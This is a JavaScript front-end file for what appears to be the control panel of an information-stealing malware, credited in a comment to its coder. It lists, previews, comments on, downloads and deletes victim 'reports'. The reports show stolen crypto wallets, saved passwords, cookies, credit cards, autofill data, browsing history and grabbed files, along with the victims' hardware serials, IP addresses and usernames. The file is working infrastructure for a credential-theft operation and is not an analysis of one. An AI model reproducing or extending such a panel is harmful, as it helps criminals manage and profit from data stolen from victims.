/* Coded by L1ghtM3n@protonmail.com */

document.addEventListener("DOMContentLoaded", function() {
    // Init tooltips
    var elems = document.querySelectorAll(".tooltipped");
    var instances = M.Tooltip.init(elems, {});
    // Init sidebar
    var elems = document.querySelectorAll(".sidenav");
    var instances = M.Sidenav.init(elems, {});
    // Init modals
    var elems = document.querySelectorAll(".modal");
    var instances = M.Modal.init(elems);
    // Init selects
    var elems = document.querySelectorAll('select');
    var instances = M.FormSelect.init(elems, {});
    // Init dropdowns
    var elems = document.querySelectorAll(".dropdown-trigger");
    var instances = M.Dropdown.init(elems, {"coverTrigger": false, "closeOnClick": false});
    // Send welcome toast on login and if page is not refreshed
    if (window.location.search.includes("welcome") &&
        performance.navigation.type != performance.navigation.TYPE_RELOAD) {
        M.toast({html: `Welcome back ${username}!`});
    }
});

// Sort table
function SortTable(option) {
    let reverse = document.getElementById("sort_reverse").checked ? 1 : 0;
    location.href = `?sort_option=${option}&reverse=${reverse}`;
}

// Search
function SearchDomains() {
    let entry = document.getElementById("search_input");
    location.href = "?search_domains=" + entry.value;
}

// Change report comment
function CommentReport(id) {
    let entry = document.getElementById("COMMENT_INPUT_" + id);
    // Invalid comment value
    if (entry.value.match(/^\s+$/) !== null || entry.value === "") {
        M.toast({html: "Invalid comment"});
        return false;
    }
    // Create API request
    let xhr = new XMLHttpRequest();
    xhr.open("GET", "api/com_report?id=" + id + "&text=" + entry.value, false);
    xhr.send();
    // Handle server error
    if (xhr.status !== 200) {
        M.toast({html: xhr.status + ": " + xhr.statusText});
        return false;
    }
    // Parse server response
    let response = JSON.parse(xhr.responseText);
    M.toast({html: response["message"]});
    return true;
}

// Preview report function
function PreviewReport(id, obj) {
    // Set preview value
    function SetValue(id, text) {
        document.getElementById("preview_" + id).innerHTML = text;
    }
    let xhr = new XMLHttpRequest();
    xhr.open("GET", "api/get_reports?id=" + id, false);
    xhr.send();
    // Handle server error
    if (xhr.status !== 200) {
        swal(xhr.status, xhr.statusText, "error");
        return false;
    }
    // Parse server response
    let json = JSON.parse(xhr.responseText)[0];

    // Counter values
    SetValue("counter_wallets", "Wallets count: " + json["counter"]["wallets"]);
    SetValue("counter_passwords", "Passwords count: " + json["counter"]["passwords"]);
    SetValue("counter_cookies", "Cookies count: " + json["counter"]["cookies"]);
    SetValue("counter_credit_cards", "Credit cards count: " + json["counter"]["credit_cards"]);
    SetValue("counter_autofill", "Autofill count: " + json["counter"]["autofill"]);
    SetValue("counter_history", "History count: " + json["counter"]["history"]);
    SetValue("counter_grabber", "Files count: " + json["counter"]["grabber"]);
    
    // Hardware
    SetValue("info_screen", "Screen resolution: " + json["information"]["hardware"]["screen"]);
    SetValue("info_ram", "Ram amount: " + json["information"]["hardware"]["ram"] + " MB");
    SetValue("info_cpu_name", "Processor name: " + json["information"]["hardware"]["cpu_name"]);
    SetValue("info_cpu_id", "Processor ID: " + json["information"]["hardware"]["cpu_id"]);
    SetValue("info_gpu_name", "Video adapter name: " + json["information"]["hardware"]["gpu_name"]);
    SetValue("info_disk_id", "HDD serial: " + json["information"]["hardware"]["disk_id"]);
    SetValue("info_manufacturer", "Manufacturer: " + json["information"]["hardware"]["manufacturer"]);
    // Network
    SetValue("info_local_ip", "Local IP: " + json["information"]["network"]["local_ip"]);
    SetValue("info_public_ip", "Public IP: " + json["geo"]["ip_address"]);
    SetValue("info_gateway_ip", "Gateway IP: " + json["information"]["network"]["gateway_ip"]);
    SetValue("info_bssid", "BSSID: " + json["information"]["network"]["bssid"]);
    // Power
    SetValue("info_power_adapter", "AC adapter connected: " + json["information"]["power"]["adapter_connected"]);
    SetValue("info_battery_percentage", "Battery percentage: " + json["information"]["power"]["battery_percentage"] + "%");
    // Os info
    SetValue("info_os_name", "Operating system: " + json["information"]["os"]["name"]);
    SetValue("info_os_username", "Username: " + json["information"]["os"]["username"]);
    SetValue("info_os_machinename", "Compname: " + json["information"]["os"]["compname"]);

    // Domains info
    let c_area = document.getElementById("preview_cookies_list");
    let p_area = document.getElementById("preview_passwords_list");
    // Set values in text areas
    c_area.innerHTML = json["cookies"];
    p_area.innerHTML = json["passwords"];
    // Resize text areas
    M.textareaAutoResize(c_area)
    M.textareaAutoResize(p_area)
    
    // Add actions to buttons
    document.getElementById("preview_delete_button").onclick = function() { DeleteReport(json["id"], obj); }
    document.getElementById("preview_download_button").href = "/api/get_report?id=" + json["id"];
    
    // Open modal
    var instance = M.Modal.getInstance(document.querySelectorAll('#modal_preview')[0])
    instance.open();
}

// Delete report function
function DeleteReport(id, obj) {
    swal({
        title: "Are you sure?",
        text: "Once deleted, you will not be able to recover report!",
        icon: "warning",
        buttons: true,
        dangerMode: true,
      })
      .then((willDelete) => {
        if (willDelete) {
            // Create API request
            let xhr = new XMLHttpRequest();
            xhr.open("GET", "api/del_report?id=" + id, false);
            xhr.send();
            // Handle server error
            if (xhr.status !== 200) {
                swal(xhr.status, xhr.statusText, "error");
                return false;
            }
            // Parse server response
            let response = JSON.parse(xhr.responseText);
            // Hide report from table
            if (response["error"] === false) {
                obj.parentElement.parentElement.remove();
            }
            // Show alert
            swal(response["message"], {
                icon: response["error"] ? "error" : "success",
          });
        }
      });
}